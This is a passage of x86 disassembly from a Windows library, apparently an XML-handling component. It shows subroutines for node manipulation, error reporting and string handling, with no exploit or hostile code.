loc_69B4C7A0:				; CODE XREF: sub_69B4C674+11Dj
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B47DCC


loc_69B4C7AB:				; CODE XREF: sub_69B4C674+117j
		cmp	eax, ebx
		jnz	short loc_69B4C78D


loc_69B4C7AF:				; CODE XREF: sub_69B4C674+10Aj
		cmp	[ebp-20h], ebx
		jz	short loc_69B4C7B9
		cmp	[ebp-28h], ebx
		jz	short loc_69B4C7D0


loc_69B4C7B9:				; CODE XREF: sub_69B4C674+13Ej
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, esi
		call	sub_69B49C1F
		cmp	eax, ebx
		jz	short loc_69B4C7D0
		cmp	eax, [ebp+10h]
		jnz	loc_69B4CBCE


loc_69B4C7D0:				; CODE XREF: sub_69B4C674+F5j
					; sub_69B4C674+101j ...
		cmp	dword ptr [ebp-20h], 11h
		jz	short loc_69B4C838
		cmp	[ebp+14h], bl
		jz	short loc_69B4C82F
		mov	eax, [edi+8]
		shr	eax, 14h
		test	al, 1
		jnz	short loc_69B4C800
		push	ebx
		mov	ecx, edi
		call	sub_69B481AF
		push	eax
		push	0C00CE208h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B4C800:				; CODE XREF: sub_69B4C674+16Fj
		mov	eax, [esi+0Ch]
		test	byte ptr [eax+0ECh], 2
		jnz	short loc_69B4C85B
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B4C85B
		push	ebx
		push	0C00CE214h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch
		jmp	short loc_69B4C85B
; ---------------------------------------------------------------------------


loc_69B4C82F:				; CODE XREF: sub_69B4C674+165j
		push	edi
		push	esi
		call	sub_69B48307
		jmp	short loc_69B4C85B
; ---------------------------------------------------------------------------


loc_69B4C838:				; CODE XREF: sub_69B4C674+160j
		lea	eax, [ebp-30h]
		push	eax
		mov	ecx, edi
		call	sub_69B49F0B
		jmp	short loc_69B4C857
; ---------------------------------------------------------------------------


loc_69B4C845:				; CODE XREF: sub_69B4C674+1E5j
		push	eax
		push	esi
		call	sub_69B48307
		lea	eax, [ebp-30h]
		push	eax
		mov	ecx, edi
		call	sub_69B47DCC


loc_69B4C857:				; CODE XREF: sub_69B4C674+1CFj
		cmp	eax, ebx
		jnz	short loc_69B4C845


loc_69B4C85B:				; CODE XREF: sub_69B4C674+196j
					; sub_69B4C674+1A4j ...
		mov	eax, [ebp+0Ch]
		cmp	edi, eax
		jz	loc_69B4CBE1
		cmp	eax, ebx
		jz	short loc_69B4C877
		mov	eax, [eax+8]
		shr	eax, 14h
		test	al, 1
		jz	short loc_69B4C877
		mov	[ebp+0Ch], ebx


loc_69B4C877:				; CODE XREF: sub_69B4C674+3Fj
					; sub_69B4C674+1F4j ...
		mov	eax, [ebp+10h]
		cmp	eax, ebx
		jz	short loc_69B4C8B8
		mov	al, [eax+0Bh]
		and	al, 1Fh
		cmp	al, 4
		jz	loc_69B4CBBB
		mov	ecx, [ebp+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+0F4h]
		cmp	eax, esi
		jz	short loc_69B4C8B8
		push	ebx
		mov	eax, [ebp+14h]
		neg	al
		sbb	eax, eax
		and	eax, 0Ch
		add	eax, 0C00CE20Dh
		push	eax
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4C8B8:				; CODE XREF: sub_69B4C674+208j
					; sub_69B4C674+224j
		cmp	[ebp+18h], bl
		jz	loc_69B4C97E
		xor	eax, eax
		mov	al, [esi+0Bh]
		and	eax, 1Fh
		jz	short loc_69B4C8D4
		cmp	eax, 0Fh
		jnz	loc_69B4C97E


loc_69B4C8D4:				; CODE XREF: sub_69B4C674+255j
		cmp	[ebp+10h], ebx
		jz	short loc_69B4C8E6
		push	ebx
		mov	ecx, [ebp+10h]
		call	sub_69B4BCC4
		mov	byte ptr [ebp-21h], 1


loc_69B4C8E6:				; CODE XREF: sub_69B4C674+263j
		cmp	edi, ebx
		jz	short loc_69B4C945
		mov	byte ptr [ebp-21h], 1
		cmp	dword ptr [ebp-20h], 11h
		jz	short loc_69B4C910
		cmp	[ebp-20h], ebx
		jnz	short loc_69B4C903
		mov	eax, [edi+8]
		shr	eax, 0Eh
		test	al, 1
		jnz	short loc_69B4C937


loc_69B4C903:				; CODE XREF: sub_69B4C674+283j
		push	ebx
		push	ebx
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_69B4B0C7
		jmp	short loc_69B4C937
; ---------------------------------------------------------------------------


loc_69B4C910:				; CODE XREF: sub_69B4C674+27Ej
		lea	eax, [ebp-34h]
		push	eax
		mov	ecx, edi
		call	sub_69B49F0B
		jmp	short loc_69B4C933
; ---------------------------------------------------------------------------


loc_69B4C91D:				; CODE XREF: sub_69B4C674+2C1j
		push	ebx
		push	ebx
		push	ebx
		push	esi
		mov	ecx, eax
		call	sub_69B4B0C7
		lea	eax, [ebp-34h]
		push	eax
		mov	ecx, edi
		call	sub_69B47DCC


loc_69B4C933:				; CODE XREF: sub_69B4C674+2A7j
		cmp	eax, ebx
		jnz	short loc_69B4C91D


loc_69B4C937:				; CODE XREF: sub_69B4C674+28Dj
					; sub_69B4C674+29Aj
		cmp	edi, ebx
		jz	short loc_69B4C945
		mov	eax, [edi+8]
		shr	eax, 14h
		test	al, 1
		jz	short loc_69B4C956


loc_69B4C945:				; CODE XREF: sub_69B4C674+274j
					; sub_69B4C674+2C5j
		mov	eax, [ebp+10h]
		cmp	eax, ebx
		jz	short loc_69B4C97E
		mov	eax, [eax+8]
		shr	eax, 14h
		test	al, 1
		jnz	short loc_69B4C97E


loc_69B4C956:				; CODE XREF: sub_69B4C674+2CFj
		mov	ecx, esi
		call	sub_69B48D60
		test	al, al
		jz	short loc_69B4C97E
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	edi
		push	ebx
		push	ebx
		mov	ecx, esi
		call	sub_69B48F40
		push	eax
		mov	ecx, esi
		call	sub_69B4B3ED
		mov	byte ptr [ebp-21h], 1


loc_69B4C97E:				; CODE XREF: sub_69B4C674+247j
					; sub_69B4C674+25Aj ...
		mov	[ebp-4], ebx
		mov	eax, [ebp+10h]
		cmp	eax, ebx
		jz	loc_69B4CA2F
		cmp	[ebp+0Ch], eax
		jnz	short loc_69B4C99B
		mov	ecx, eax
		call	sub_69B48533
		mov	[ebp+0Ch], eax


loc_69B4C99B:				; CODE XREF: sub_69B4C674+31Bj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		cmp	eax, [ebp+10h]
		jnz	short loc_69B4C9AE
		xor	eax, eax
		jmp	short loc_69B4C9B9
; ---------------------------------------------------------------------------


loc_69B4C9AE:				; CODE XREF: sub_69B4C674+334j
		mov	ecx, [ebp+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+100h]


loc_69B4C9B9:				; CODE XREF: sub_69B4C674+338j
		mov	[ebp-38h], eax
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp-38h]
		push	esi
		push	dword ptr [ebp+10h]
		push	ebx
		push	2
		call	dword ptr [eax+74h]
		mov	dword ptr [ebp-4], 1
		push	dword ptr [ebp+10h]
		push	ebx
		call	sub_69B4C3EC
		push	dword ptr [ebp+10h]
		mov	ecx, esi
		call	sub_69B4843A
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp-38h]
		push	esi
		push	dword ptr [ebp+10h]
		push	2
		push	2
		call	dword ptr [eax+74h]
		mov	[ebp-4], ebx
		jmp	short loc_69B4CA2F
; ---------------------------------------------------------------------------


loc_69B4CA00:				; DATA XREF: .text:69B4CC00o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4CA09:				; DATA XREF: .text:69B4CC04o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp-38h]
		push	esi
		push	dword ptr [ebp+10h]
		push	1
		push	2
		call	dword ptr [eax+74h]
		call	sub_69B2E860
		xor	ebx, ebx
		mov	[ebp-4], ebx
		mov	edi, [ebp+8]


loc_69B4CA2F:				; CODE XREF: sub_69B4C674+312j
					; sub_69B4C674+38Aj
		cmp	edi, ebx
		jz	loc_69B4CB23
		cmp	edi, [ebp+0Ch]
		jz	loc_69B4CB23
		mov	[ebp-39h], bl
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		mov	[ebp-40h], eax
		cmp	eax, ebx
		jz	short loc_69B4CA61
		push	1
		push	ebx
		push	edi
		push	ebx
		push	ebx
		mov	ecx, eax
		call	sub_69B4C674


loc_69B4CA61:				; CODE XREF: sub_69B4C674+3DEj
		mov	dword ptr [ebp-4], 2
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp+0Ch]
		push	esi
		push	edi
		push	ebx
		push	1
		call	dword ptr [eax+74h]
		mov	byte ptr [ebp-39h], 1
		push	edi
		push	esi
		call	sub_69B4C3EC
		cmp	dword ptr [ebp-20h], 11h
		jz	short loc_69B4CAA7
		push	dword ptr [ebp+0Ch]
		push	edi
		mov	ecx, esi
		call	sub_69B499AC


loc_69B4CA94:				; CODE XREF: sub_69B4C674+443j
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp+0Ch]
		push	esi
		push	edi
		push	2
		push	1
		call	dword ptr [eax+74h]
		jmp	short loc_69B4CB20
; ---------------------------------------------------------------------------


loc_69B4CAA7:				; CODE XREF: sub_69B4C674+413j
		lea	eax, [ebp-44h]
		push	eax
		mov	ecx, edi
		call	sub_69B49F0B


loc_69B4CAB2:				; CODE XREF: sub_69B4C674+463j
		mov	[ebp-48h], eax
		cmp	eax, ebx
		jz	short loc_69B4CA94
		lea	eax, [ebp-44h]
		push	eax
		mov	ecx, edi
		call	sub_69B47DCC
		mov	[ebp-4Ch], eax
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp-48h]
		mov	ecx, esi
		call	sub_69B499AC
		mov	eax, [ebp-4Ch]
		jmp	short loc_69B4CAB2
; ---------------------------------------------------------------------------


loc_69B4CAD9:				; DATA XREF: .text:69B4CC0Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4CAE2:				; DATA XREF: .text:69B4CC10o
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		cmp	[ebp-39h], bl
		jz	short loc_69B4CB02
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		push	dword ptr [ebp+0Ch]
		push	eax
		push	dword ptr [ebp+8]
		push	1
		push	1
		call	dword ptr [edx+74h]


loc_69B4CB02:				; CODE XREF: sub_69B4C674+476j
		cmp	[ebp+10h], ebx
		jz	short loc_69B4CB1B
		push	1
		push	dword ptr [ebp+14h]
		push	ebx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+10h]
		mov	ecx, [ebp-1Ch]
		call	sub_69B4C674


loc_69B4CB1B:				; CODE XREF: sub_69B4C674+491j
		call	sub_69B2E860


loc_69B4CB20:				; CODE XREF: sub_69B4C674+431j
		mov	[ebp-4], ebx


loc_69B4CB23:				; CODE XREF: sub_69B4C674+3BDj
					; sub_69B4C674+3C6j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	loc_69B4CBE1
; ---------------------------------------------------------------------------


loc_69B4CB2C:				; DATA XREF: .text:69B4CBF4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4CB35:				; DATA XREF: .text:69B4CBF8o
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		cmp	[ebp-21h], bl
		jz	short loc_69B4CBB2
		cmp	[ebp+18h], bl
		jz	short loc_69B4CBB2
		mov	esi, [ebp+10h]
		cmp	esi, ebx
		jz	short loc_69B4CB65
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		cmp	[ebp-1Ch], eax
		jnz	short loc_69B4CB65
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, esi
		call	sub_69B4B0C7


loc_69B4CB65:				; CODE XREF: sub_69B4C674+4D5j
					; sub_69B4C674+4E4j
		cmp	dword ptr [ebp-20h], 11h
		jz	short loc_69B4CB8A
		cmp	[ebp-20h], ebx
		jnz	short loc_69B4CB7D
		mov	eax, [ebp+8]
		mov	eax, [eax+8]
		shr	eax, 0Eh
		test	al, 1
		jnz	short loc_69B4CBB2


loc_69B4CB7D:				; CODE XREF: sub_69B4C674+4FAj
		push	dword ptr [ebp-1Ch]
		mov	ecx, [ebp+8]
		call	sub_69B4BCC4
		jmp	short loc_69B4CBB2
; ---------------------------------------------------------------------------


loc_69B4CB8A:				; CODE XREF: sub_69B4C674+4F5j
		lea	eax, [ebp-50h]
		push	eax
		mov	ecx, [ebp+8]
		call	sub_69B49F0B
		jmp	short loc_69B4CBAE
; ---------------------------------------------------------------------------


loc_69B4CB98:				; CODE XREF: sub_69B4C674+53Cj
		push	dword ptr [ebp-1Ch]
		mov	ecx, eax
		call	sub_69B4BCC4
		lea	eax, [ebp-50h]
		push	eax
		mov	ecx, [ebp+8]
		call	sub_69B47DCC


loc_69B4CBAE:				; CODE XREF: sub_69B4C674+522j
		cmp	eax, ebx
		jnz	short loc_69B4CB98


loc_69B4CBB2:				; CODE XREF: sub_69B4C674+4C9j
					; sub_69B4C674+4CEj ...
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B4CBBB:				; CODE XREF: sub_69B4C674+B0j
					; sub_69B4C674+211j
		push	ebx
		push	0C00CE212h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4CBCE:				; CODE XREF: sub_69B4C674+126j
					; sub_69B4C674+156j
		push	ebx
		push	0C00CE555h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4CBE1:				; CODE XREF: sub_69B4C674+1ECj
					; sub_69B4C674+4B3j
		call	sub_69B1853C
		retn	14h
sub_69B4C674	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B4CBF0	dd 0FFFFFFFFh			dd offset loc_69B4CB2C
		dd offset loc_69B4CB35
		dd 0
		dd offset loc_69B4CA00
		dd offset loc_69B4CA09
		dd 0
		dd offset loc_69B4CAD9
		dd offset loc_69B4CAE2

; =============== S U B	R O U T	I N E =======================================



sub_69B4CC14	proc near		; CODE XREF: sub_69B4CD82j
					; sub_69B4D02C+F9p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B48CEA
		mov	edi, [esp+8+arg_0]
		push	edi
		call	sub_69B18884
		mov	ecx, eax
		call	sub_69B1885E
		test	al, al
		jz	short loc_69B4CC45
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B4BAA7
		jmp	short loc_69B4CC50
; ---------------------------------------------------------------------------


loc_69B4CC45:				; CODE XREF: sub_69B4CC14+1Cj
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+120h]


loc_69B4CC50:				; CODE XREF: sub_69B4CC14+2Fj
		pop	edi
		pop	esi
		retn	4
sub_69B4CC14	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4CC55	proc near		; CODE XREF: sub_69B421FC+49p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		call	dword ptr [eax+38h]
		mov	ebp, [esi+0Ch]
		mov	ecx, ebp
		mov	ebx, eax
		call	sub_69B3DABE
		mov	edi, eax
		xor	eax, eax
		cmp	ebx, eax
		mov	[esp+14h+var_4], eax
		jz	loc_69B4CD1B
		cmp	edi, eax
		jz	loc_69B4CD1B
		xor	ecx, ecx
		mov	cl, [esi+0Bh]
		and	ecx, 1Fh
		jz	short loc_69B4CD08
		cmp	ecx, 7
		jz	short loc_69B4CCC1
		cmp	ecx, 0Bh
		jz	short loc_69B4CCAA
		cmp	ecx, 0Fh
		jnz	short loc_69B4CD1B
		push	eax
		push	eax
		push	eax
		mov	ecx, esi
		call	sub_69B4936A
		jmp	short loc_69B4CD10
; ---------------------------------------------------------------------------


loc_69B4CCAA:				; CODE XREF: sub_69B4CC55+42j
		push	eax
		push	ebx
		mov	ecx, edi
		call	sub_69B8AFBA
		test	eax, eax
		jz	short loc_69B4CD1B
		push	ebp
		mov	ecx, eax
		call	sub_69B8C56F
		jmp	short loc_69B4CD17
; ---------------------------------------------------------------------------


loc_69B4CCC1:				; CODE XREF: sub_69B4CC55+3Dj
		mov	ebx, dword_69B95A84
		cmp	dword ptr [ebx+8], 0Bh
		jg	short loc_69B4CCD2
		call	sub_69B2E6D8


loc_69B4CCD2:				; CODE XREF: sub_69B4CC55+76j
		push	dword ptr [ebx+38h]
		mov	ecx, esi
		call	sub_69B4BA87
		test	eax, eax
		jz	short loc_69B4CD1B
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		push	eax
		call	sub_69B1A2EC
		mov	ecx, [edi+50h]
		test	ecx, ecx
		jz	short loc_69B4CD1B
		push	eax
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B4CD1B
		push	ebp
		mov	ecx, eax
		call	sub_69B8CC73
		jmp	short loc_69B4CD17
; ---------------------------------------------------------------------------


loc_69B4CD08:				; CODE XREF: sub_69B4CC55+38j
		push	eax
		mov	ecx, esi
		call	sub_69B48E56


loc_69B4CD10:				; CODE XREF: sub_69B4CC55+53j
		test	eax, eax
		jz	short loc_69B4CD1B
		mov	eax, [eax+14h]


loc_69B4CD17:				; CODE XREF: sub_69B4CC55+6Aj
					; sub_69B4CC55+B1j
		mov	[esp+14h+var_4], eax


loc_69B4CD1B:				; CODE XREF: sub_69B4CC55+22j
					; sub_69B4CC55+2Aj ...
		mov	eax, [esp+14h+var_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_69B4CC55	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4CD25	proc near		; CODE XREF: sub_69B41554+B1p
					; sub_69B423AC+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	esi
		mov	esi, ecx
		jz	short loc_69B4CD3D
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B190C1


loc_69B4CD3D:				; CODE XREF: sub_69B4CD25+9j
		push	[esp+4+arg_8]
		mov	ecx, esi
		push	eax
		call	sub_69B4BAA7
		pop	esi
		retn	0Ch
sub_69B4CD25	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4CD4D	proc near		; CODE XREF: sub_69B4D02C+106p
					; sub_69B538B4+CBp

arg_0		= dword	ptr  4

		push	1
		push	1
		push	0
		push	0
		push	[esp+10h+arg_0]
		call	sub_69B4C674
		retn	4
sub_69B4CD4D	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B4CD61(LPCWSTR lpString, int)

sub_69B4CD61	proc near		; CODE XREF: sub_69B4CEA8+F2p
					; sub_69B5705C+2Ep ...

lpString	= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+lpString] ; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	[esp+0Ch+lpString]
		mov	ecx, esi
		call	sub_69B4CD25
		pop	esi
		retn	8
sub_69B4CD61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_69B4CD82	proc near		; DATA XREF: .text:69B152F8o
					; .text:69B1DD48o
		jmp	sub_69B4CC14
sub_69B4CD82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4CD87	proc near		; DATA XREF: .text:69B15314o
					; .text:69B1DD64o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B4CDC3
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_69B4CDA9
		cmp	eax, esi
		jnz	short loc_69B4CDA9
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_69B49F0B


loc_69B4CDA9:				; CODE XREF: sub_69B4CD87+11j
					; sub_69B4CD87+15j
		mov	ecx, [esi+0Ch]
		movzx	ecx, byte ptr [ecx+8Dh]
		push	ecx
		push	0
		push	0
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_69B4C674


loc_69B4CDC3:				; CODE XREF: sub_69B4CD87+Aj
		pop	esi
		pop	ebp
		retn	8
sub_69B4CD87	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4CDC8	proc near		; DATA XREF: .text:69B15318o
					; .text:69B1DD68o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B4CE1E
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B4CDEF
		mov	edx, [eax]
		push	edi
		mov	ecx, eax
		call	dword ptr [edx+84h]


loc_69B4CDEF:				; CODE XREF: sub_69B4CDC8+1Aj
		cmp	[esp+8+arg_4], 0
		jge	short loc_69B4CDFA
		xor	eax, eax
		jmp	short loc_69B4CE05
; ---------------------------------------------------------------------------


loc_69B4CDFA:				; CODE XREF: sub_69B4CDC8+2Cj
		push	[esp+8+arg_4]
		mov	ecx, esi
		call	sub_69B4A651


loc_69B4CE05:				; CODE XREF: sub_69B4CDC8+30j
		mov	ecx, [esi+0Ch]
		movzx	ecx, byte ptr [ecx+8Dh]
		push	ecx
		push	0
		push	0
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_69B4C674
		pop	edi


loc_69B4CE1E:				; CODE XREF: sub_69B4CDC8+7j
		pop	esi
		retn	8
sub_69B4CDC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4CE22	proc near		; DATA XREF: .text:69B1531Co
					; .text:69B1DD6Co

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B4CE6D
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		cmp	eax, esi
		jnz	short loc_69B4CE58
		mov	eax, [esi+0Ch]
		movzx	eax, byte ptr [eax+8Dh]
		push	eax
		xor	eax, eax
		push	eax
		push	edi
		push	eax
		push	eax
		mov	ecx, esi
		call	sub_69B4C674
		jmp	short loc_69B4CE6C
; ---------------------------------------------------------------------------


loc_69B4CE58:				; CODE XREF: sub_69B4CE22+1Aj
		push	0
		push	0C00CE20Dh
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B4CE6C:				; CODE XREF: sub_69B4CE22+34j
		pop	edi


loc_69B4CE6D:				; CODE XREF: sub_69B4CE22+7j
		pop	esi
		retn	4
sub_69B4CE22	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4CE71	proc near		; DATA XREF: .text:69B15348o
					; .text:69B1DD98o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0
		push	0Fh
		push	[esp+10h+arg_0]
		mov	esi, ecx
		call	sub_69B49C1F
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B4CEA1
		mov	eax, [esi+0Ch]
		movzx	eax, byte ptr [eax+8Dh]
		push	eax
		push	1
		push	edi
		push	0
		push	0
		mov	ecx, esi
		call	sub_69B4C674


loc_69B4CEA1:				; CODE XREF: sub_69B4CE71+15j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B4CE71	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B4CEA8	proc near		; CODE XREF: sub_69B42884+86p
					; sub_69B4D1A8j ...
		push	2Ch
		push	offset dword_69B4D020
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		mov	word ptr [ebp-2Ch], 1
		call	sub_69B48CEA
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	ebx, eax
		mov	[ebp-30h], ebx
		test	ebx, ebx
		jz	short loc_69B4CEE9
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0F4h]
		test	eax, eax
		mov	byte ptr [ebp-31h], 1
		jnz	short loc_69B4CEED


loc_69B4CEE9:				; CODE XREF: sub_69B4CEA8+2Dj
		mov	byte ptr [ebp-31h], 0


loc_69B4CEED:				; CODE XREF: sub_69B4CEA8+3Fj
		cmp	byte ptr [ebp-31h], 0
		jz	short loc_69B4CF18
		mov	edi, [esi+0Ch]
		mov	eax, [edi]
		push	0
		mov	edx, [ebx]
		mov	ecx, ebx
		mov	[ebp-38h], eax
		call	dword ptr [edx+0F4h]
		push	eax
		mov	ebx, [ebp-30h]
		push	ebx
		push	0
		push	0
		mov	ecx, edi
		mov	eax, [ebp-38h]
		call	dword ptr [eax+74h]


loc_69B4CF18:				; CODE XREF: sub_69B4CEA8+49j
		xor	edx, edx
		mov	[ebp-4], edx
		mov	eax, [ebp+8]
		mov	cx, [eax]
		cmp	cx, 8
		jnz	short loc_69B4CF2F
		push	edx
		push	dword ptr [eax+8]
		jmp	short loc_69B4CF98
; ---------------------------------------------------------------------------


loc_69B4CF2F:				; CODE XREF: sub_69B4CEA8+7Fj
		cmp	cx, 1
		jnz	short loc_69B4CF4B
		push	edx
		push	offset off_69B1A5AC
		mov	ecx, esi
		call	sub_69B4BAA7
		mov	ecx, esi
		call	sub_69B4B872
		jmp	short loc_69B4CF9F
; ---------------------------------------------------------------------------


loc_69B4CF4B:				; CODE XREF: sub_69B4CEA8+8Bj
		mov	edi, [esi+8]
		shr	edi, 4
		and	edi, 3Fh
		mov	[ebp-3Ch], edi
		lea	ecx, [ebp-2Ch]
		push	ecx		; pvarg
		push	eax		; pvarSrc
		push	edi		; int
		call	sub_69B3078B
		mov	eax, [esi+8]
		shr	eax, 0Eh
		test	al, 1
		jz	short loc_69B4CF93
		cmp	edi, 0Ch
		jl	short loc_69B4CF93
		mov	eax, [esi]
		lea	ecx, [ebp-2Ch]
		push	ecx
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+0E8h]
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B4B801
		mov	word ptr [ebp-2Ch], 1
		jmp	short loc_69B4CF9F
; ---------------------------------------------------------------------------


loc_69B4CF93:				; CODE XREF: sub_69B4CEA8+C2j
					; sub_69B4CEA8+C7j
		push	0		; int
		push	dword ptr [ebp-24h] ; lpString


loc_69B4CF98:				; CODE XREF: sub_69B4CEA8+85j
		mov	ecx, esi
		call	sub_69B4CD61


loc_69B4CF9F:				; CODE XREF: sub_69B4CEA8+A1j
					; sub_69B4CEA8+E9j
		cmp	byte ptr [ebp-31h], 0
		jz	short loc_69B4D006
		mov	esi, [esi+0Ch]
		mov	edi, [esi]
		push	0
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+0F4h]
		push	eax
		push	ebx
		push	2
		push	0
		mov	ecx, esi
		call	dword ptr [edi+74h]
		jmp	short loc_69B4D006
; ---------------------------------------------------------------------------


loc_69B4CFC3:				; DATA XREF: .text:69B4D024o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4CFCC:				; DATA XREF: .text:69B4D028o
		mov	esp, [ebp-18h]
		cmp	byte ptr [ebp-31h], 0
		jz	short loc_69B4CFF7
		mov	eax, [ebp-1Ch]
		mov	esi, [eax+0Ch]
		mov	ebx, [esi]
		push	0
		mov	edi, [ebp-30h]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		push	eax
		push	edi
		push	1
		push	0
		mov	ecx, esi
		call	dword ptr [ebx+74h]


loc_69B4CFF7:				; CODE XREF: sub_69B4CEA8+12Bj
		lea	eax, [ebp-2Ch]
		push	eax		; pvarg
		call	VariantClear
		call	sub_69B2E860


loc_69B4D006:				; CODE XREF: sub_69B4CEA8+FBj
					; sub_69B4CEA8+119j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-2Ch]
		push	eax		; pvarg
		call	VariantClear
		call	sub_69B1853C
		retn	4
sub_69B4CEA8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B4D020	dd 0FFFFFFFFh			dd offset loc_69B4CFC3
		dd offset loc_69B4CFCC

; =============== S U B	R O U T	I N E =======================================



sub_69B4D02C	proc near		; CODE XREF: sub_69B14EAC+1F7p
					; sub_69B4D18C+14p ...
		push	14h
		push	offset dword_69B4D180
		call	sub_69B19C5C
		mov	edi, ecx
		mov	[ebp-1Ch], edi
		xor	esi, esi
		mov	ebx, [edi+0Ch]
		call	sub_69B48CEA
		test	byte ptr [edi+0Ah], 0Ch
		jnz	short loc_69B4D058
		mov	ecx, edi
		call	sub_69B48267
		test	eax, eax
		jnz	short loc_69B4D062


loc_69B4D058:				; CODE XREF: sub_69B4D02C+1Fj
		push	8000FFFFh
		call	sub_69B2E8B8


loc_69B4D062:				; CODE XREF: sub_69B4D02C+2Aj
		test	byte ptr [edi+0Ah], 0Ch
		jnz	loc_69B4D172
		mov	ecx, edi
